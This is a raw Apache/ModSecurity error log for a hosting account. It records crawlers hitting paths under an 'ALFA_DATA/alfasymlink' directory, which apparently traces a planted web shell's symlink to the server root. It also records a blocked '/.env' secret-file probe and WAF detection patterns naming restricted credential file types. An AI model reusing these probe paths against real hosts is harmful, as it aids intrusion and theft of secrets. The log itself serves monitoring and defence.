[Sun Oct 25 01:27:08.879693 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 85.208.96.204:21742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__ksymtab
[Sun Oct 25 01:27:10.001221 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 185.191.171.10:30702] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/cpu_partial
[Sun Oct 25 01:27:11.079845 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 23.23.180.225:5381] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:27:18.971327 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 100.29.63.24:54883] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:27:23.019424 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 100.29.128.75:61798] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:27:30.068805 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 85.25.46.192:59384] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:27:30.344281 2026] [security2:error] [pid 2759057:tid 2759057] [client 43.165.67.31:42028] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at2TQmnoVolia533WIkhTwAAADQ"]
[Sun Oct 25 01:27:39.080897 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 54.225.148.123:10788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:27:43.254436 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.4.229.9:4267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:27:47.052707 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 18.214.238.178:18283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:27:51.140765 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 18.208.11.93:20984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:27:59.117200 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 23.23.180.225:30750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:28:03.172164 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 44.193.115.232:15775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:28:19.392190 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 35.168.238.50:35292] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:28:23.521427 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 100.28.44.58:20843] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:28:27.232251 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 52.204.71.8:6886] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:28:35.256842 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 18.233.24.238:18095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:28:39.279237 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 3.209.174.110:20078] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:28:43.643476 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.210.223.61:23787] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:28:44.922020 2026] [security2:error] [pid 2762190:tid 2762190] [client 85.208.96.208:48264] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/stats.conf"] [unique_id "at2TjMmYnImk6kHi8hyM8gAAADA"]
[Sun Oct 25 01:28:44.922413 2026] [security2:error] [pid 2762190:tid 2762190] [client 85.208.96.208:48264] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/stats.conf"] [unique_id "at2TjMmYnImk6kHi8hyM8gAAADA"]
[Sun Oct 25 01:28:44.922791 2026] [security2:error] [pid 2762190:tid 2762190] [client 85.208.96.208:48264] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/stats.conf"] [unique_id "at2TjMmYnImk6kHi8hyM8gAAADA"]
[Sun Oct 25 01:28:47.369413 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 52.45.15.233:43817] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:28:50.797478 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 85.208.96.193:28666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/reclaim_account
[Sun Oct 25 01:28:59.296525 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 44.196.118.6:46785] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:29:03.656862 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 100.28.204.82:55485] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:29:15.512271 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 54.225.199.17:12010] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:29:24.281466 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 185.191.171.17:58800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/objs_per_slab
[Sun Oct 25 01:29:26.341359 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 185.191.171.6:57638] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:29:27.364510 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 23.21.119.232:45744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:29:27.489666 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 85.208.96.205:33812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/usersize
[Sun Oct 25 01:29:31.403686 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 35.174.253.85:13654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:29:35.405356 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 18.213.240.226:17246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:29:39.749023 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 52.1.106.130:33498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/5/module/uevent
[Sun Oct 25 01:29:43.412063 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 98.83.72.38:21477] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:29:47.468334 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 35.169.102.85:6059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:29:51.395916 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 23.23.104.107:28748] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:29:55.645941 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 50.16.248.61:64640] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:03.576929 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.224.104.67:26908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:06.127369 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 85.208.96.194:49972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/alloc_calls
[Sun Oct 25 01:30:07.643707 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 50.16.248.61:56902] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:11.636492 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 54.162.69.192:26210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:15.560641 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 98.83.72.38:42487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:19.669695 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 54.156.248.117:19788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:22.594865 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 85.208.96.197:21774] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:23.586574 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.205.113.104:54203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:27.703558 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 34.199.252.22:37343] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/resource4_wc
[Sun Oct 25 01:30:31.537792 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.90.244.132:2436] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:37.232707 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 185.191.171.19:43308] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:47.693474 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.71.203.206:50785] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:51.584630 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 44.206.65.8:38908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:30:55.587271 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 44.206.93.215:1915] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:31:06.101702 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 85.208.96.209:63712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/poison
[Sun Oct 25 01:31:07.772373 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 52.5.232.250:18019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:31:11.739809 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 54.152.163.42:19181] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:31:19.793012 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 44.220.2.97:52475] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:31:42.893847 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 3.222.85.38:59761] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:31:58.135536 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 44.223.193.255:28086] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:32:03.712428 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 54.243.63.52:6288] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:32:07.987288 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 3.224.205.25:4033] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:32:11.733721 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 3.231.193.38:2195] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:32:24.101186 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 34.203.111.15:4131] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:32:31.764885 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 34.234.200.207:13274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:32:40.429539 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.202.233.37:35583] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:32:51.694211 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 3.215.221.125:62356] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:32:55.564483 2026] [security2:error] [pid 2762190:tid 2762190] [client 43.134.54.246:48382] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesok.php"] [unique_id "at2Uh8mYnImk6kHi8hyM-wAAADA"]
[Sun Oct 25 01:32:56.475958 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 44.196.118.6:24947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:32:56.934489 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 185.191.171.17:37996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/shrink
[Sun Oct 25 01:33:03.486994 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 185.191.171.16:20156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/min_partial
[Sun Oct 25 01:33:04.065550 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 3.230.69.161:25717] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:33:15.696219 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 18.232.11.247:31198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:33:21.238790 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 3.210.29.96:11489] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/drivers/vmd/module/drivers/pci:vmd/unbind
[Sun Oct 25 01:33:40.905499 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 107.23.62.75:39989] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/firmware_node/eject
[Sun Oct 25 01:33:43.947251 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 35.173.18.61:37520] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:33:47.617076 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 54.197.114.76:63995] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/ec/bind
[Sun Oct 25 01:33:55.809783 2026] [ssl:error] [pid 2762182:tid 2762182] (5)Input/output error: [client 52.54.249.218:58893] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:33:59.673885 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.214.19.8:27834] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:34:07.675635 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 184.73.68.20:64348] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:34:11.793429 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 100.28.204.82:18264] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:34:16.085450 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 44.195.145.102:36591] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:34:23.517069 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 34.224.9.144:40174] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:34:39.489412 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 44.208.193.63:34232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:34:43.480606 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 35.174.141.243:1940] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:34:47.399556 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 3.232.82.72:24470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu0/driver/bind
[Sun Oct 25 01:34:51.369489 2026] [ssl:error] [pid 2762182:tid 2762182] (5)Input/output error: [client 44.223.116.149:1130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:34:59.376750 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 35.171.141.42:45748] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:35:03.621217 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.3.127.170:21983] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:35:06.168756 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 185.191.171.9:15374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/objects_partial
[Sun Oct 25 01:35:07.307024 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 35.174.141.243:10628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/firmware_node/eject
[Sun Oct 25 01:35:16.608440 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.235.215.92:25396] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:35:23.208541 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 44.217.177.142:60130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:35:28.020241 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 44.220.2.97:40466] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:35:31.294998 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 44.216.172.204:35505] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory10/node0/cpu1/firmware_node/physical_node/firmware_node/subsystem/uevent
[Sun Oct 25 01:35:35.217724 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 3.223.134.5:38597] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:35:51.881331 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 34.231.118.144:35480] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:35:59.162901 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 3.215.59.93:43506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:36:06.919169 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.1.106.130:50254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:36:14.925986 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.70.123.241:5230] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:36:18.613915 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 85.208.96.210:46148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/store_user
[Sun Oct 25 01:36:22.758431 2026] [security2:error] [pid 2762199:tid 2762199] [client 184.73.239.35:61928] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/physical_node/"] [unique_id "at2VVhzh2uHYztX7tG5mIgAAADw"]
[Sun Oct 25 01:36:22.758482 2026] [security2:error] [pid 2762199:tid 2762199] [client 184.73.239.35:61928] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/physical_node/"] [unique_id "at2VVhzh2uHYztX7tG5mIgAAADw"]
[Sun Oct 25 01:36:58.358724 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 52.200.58.199:47967] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:37:10.304550 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 18.205.91.101:26541] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:37:26.216056 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 3.215.59.93:56906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/iosf_mbi_pci/uevent
[Sun Oct 25 01:37:30.216770 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 3.94.156.104:58267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:37:42.262269 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 3.81.253.213:54328] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:37:50.390957 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 44.212.131.50:21484] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:37:54.235554 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 54.157.84.74:35583] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:04.0/resource1
[Sun Oct 25 01:38:02.210213 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 3.212.219.113:54709] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:38:10.301489 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 54.144.185.255:58125] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:0c/eject
[Sun Oct 25 01:38:17.347092 2026] [security2:error] [pid 2759057:tid 2759057] [client 130.12.180.168:49014] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2VyWnoVolia533WIkhZgAAADQ"]
[Sun Oct 25 01:38:17.347403 2026] [security2:error] [pid 2759057:tid 2759057] [client 130.12.180.168:49014] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2VyWnoVolia533WIkhZgAAADQ"]
[Sun Oct 25 01:38:17.375223 2026] [security2:error] [pid 2759057:tid 2759057] [client 130.12.180.168:49014] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2VyWnoVolia533WIkhZgAAADQ"]
[Sun Oct 25 01:38:30.178626 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 44.196.118.6:30126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:38:34.161656 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.213.202.136:33966] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:38:42.180277 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 3.221.244.28:5116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXCPU:00/physical_node/node0/memory4/node0/memory19/subsystem/drivers_probe
[Sun Oct 25 01:38:50.164738 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 98.84.60.17:33710] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:39:02.171792 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 34.238.45.183:32442] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:39:06.778791 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 100.29.34.97:62225] AH02013: coalesce failed to read from data bucket
